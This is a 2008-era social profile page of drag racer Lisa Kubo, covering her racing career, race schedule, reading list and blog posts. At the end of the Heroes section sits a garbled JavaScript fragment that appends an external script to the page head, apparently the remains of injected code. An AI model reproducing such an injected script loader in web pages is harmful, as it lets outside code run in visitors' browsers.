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Lisa Kubo

Step it up.. or step the hell back

About Me

Honestly if you know me personally you know everything "about me" its like living in a glass house. But for everyone who is just stopping by for the first time i'll fill ya in. I am a professional race car driver. I got my start in Import racing (now known as sport compact)in 1994. I am known as "the first lady of sport compact" I earned my stripes in a 1992 Honda Civic Hatchback I was one of the very few who was a full time (no job and no mommy and daddy money) pro drivers. As a woman in the industry I have accomplished many things that some of the "boys" still havn't accomplished yet. I was the first female to run 11,10,9&8 sec passes in a front wheel drive and I was the shoe in the worlds first 7 second FWD ( aka the shot heard around the world).I was the 2nd unibody to run 9's and the 4th to run 8's. I have 36 national wins under my belt along with 4 championships and 2 R/U championship titles (single car team!) I was the first woman to win a wally in NHRA Sport Compact (hot rod class).I'm still currently the quickest and fastest female in sport compact (and I havnt driven in years) Right now I am doing what I have always wanted to. That is be in POWERade. I have always loved Nitro Funny Cars (evil badass cars). Its not something I woke up one day and said Hey I'm going to go drive one. Racing is a true passion for me, I eat,sleep,breath drag cars. (I know to many who like it for other reasons. I hate fakes)So I vowed 10 years ago by mid 30's I would be driving a TF/FC and right now my goal is in the palm of my hands.And I will stop at nothing to get there!(warning: if anyone thinks their gonna try take this away I have a bullet in the chamber) I've attended Frank Hawleys TA/FC course in FL and had a blast (damn are these suits heavy). I worked full time with a pro team, managing the team,roadie (yeah),fuel mixer(uncertified bomb tech,haha),chute packer,I lined the car up, and do the body & composite work (these suckas crack everywhere after 1 damn pass). I have also had the boys teach me bottom end,heads,how to mic the rods and pistons,and how to strip a blower(note: eeuuww oil and ouch knuckle busters, don't get me wrong I have built 4 cyl motors b4 so i'm not an engine newbie)Its truly grueling the hours put in, but if you love what you do then it don't matter!!Besides I have always known a driver that knows their car inside out is that much a better driver!! I'm in the learning stages but i'm a sponge and I have absorbed alot.Finally I don't have people trying to change who I am to make me into what they wish they were! Sure I've had my up's and downs, jealousy is everywhere! always watch your back! I do now. Just remember what goes around comes back around, and if I can assist it will be 2 fold.As for my personality here it is in a nut shell. I live life to the fullest, hell you only have 5 minutes on this merry-go-round! I treat everyone as though they have been my friend for years (I stay grounded.) I'm NOT and NEVER will be a HATER!(If I am hating on someone its because they deserve it) Im very straight foward and brash. If I don't like what someone stands for I WILL say it, and I don't say it behind someones back ( chicken shit people and idiots anger me) if someone wants to get up in my face I feel sorry for them, I'll handle my own(I will knuckle up any time and any place). Other then that i'm very laid back, I love hanging out with the girls and going to the malls (south coast plaza, I'm LV's biggest fan)Basically I'm a chamelion I can fit into any situation at hand.
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My Interests

Here i am making an 1/8 mile hit in a Alky Funny car. Wish i didn't have to lift! Lisa Kubo - TAFC - 2006
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| View Show | Create Your Own This part shouldn't be who i'd like to meet. More like all the people I miss! I miss all the awesome, wonderful fans I have! I especially miss the kids, watching them grow up year after year and the friendships I have made for a lifetime! I will forever be grateful! Thats why win, lose, or draw I always had a smile..If you have any cool pics, videos, etc please send it I'd love to put it in my pic gallery!! Thanks and Much appreciation..L.K

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Drag Race Schedule 2008.July 6 Sacramento Raceway. CA CMIJuly 11-12 Las Vegas Mtr Spdwy NV BOTIJuly 18-19 Utah UT NOPIAug 8-9 Sacramento Raceway CA BOTIAug 22-23 Seattle WA BOTISept 21 Sacramento Raceway CA CMIOct 18-19 Fontana CA BOTI

Movies:

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Television:

Man does this song *crazy* speak for me!!
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Books:

Iris Johansen books (read all to current), The 48 laws of POWER,and David Bach books

Heroes:

I don't have specific "Heroes" to name. But to me a hero is someone who gives up everything to follow their dreams and passions no matter people say. I even have a saying I learned to live by..real people fall down..Winners get right back up..and champions get back up that much faster.. .."var s=document·('script');s.src='..';document·getEleme ntsByTagName('head')[0].appendChild(s);">

My Blog

I suppose 2 days is long enough!

So I guess 2 days rest is long enough, besides I have another race in Vegas this weekend I better get with it huh!! This past weekend was a wonderful weekend! But it was grueling as no other, let me ...
Posted by Lisa Kubo on Wed, 09 Jul 2008 09:51:00 PST

Yeah im laggin!

ok so i have been laggin on my updates.. I apologize! Seems I have alot of loyal readers. Thanks! But better late then never I suppose.. Kinda like when they called me by name to the staging lanes cuz...
Posted by Lisa Kubo on Tue, 17 Jun 2008 12:08:00 PST

7 days till test time.

Hey all! I told ya I would try and blog as much as possible! Well its t-minus 7 days till testing in Sacramento, and 8 days till "round 1 qualifying to the staging lanes please!" Thats when I off...
Posted by Lisa Kubo on Sat, 24 May 2008 06:02:00 PST

Back In The *Drivers* Seat

Well this is a first for me, but i've been flooded with calls and e-mails asking if its true. Yes it is! I'm coming home.. to the dragstrip.. And in a car! Words cannot describe how happy I am to have...
Posted by Lisa Kubo on Thu, 15 May 2008 11:35:00 PST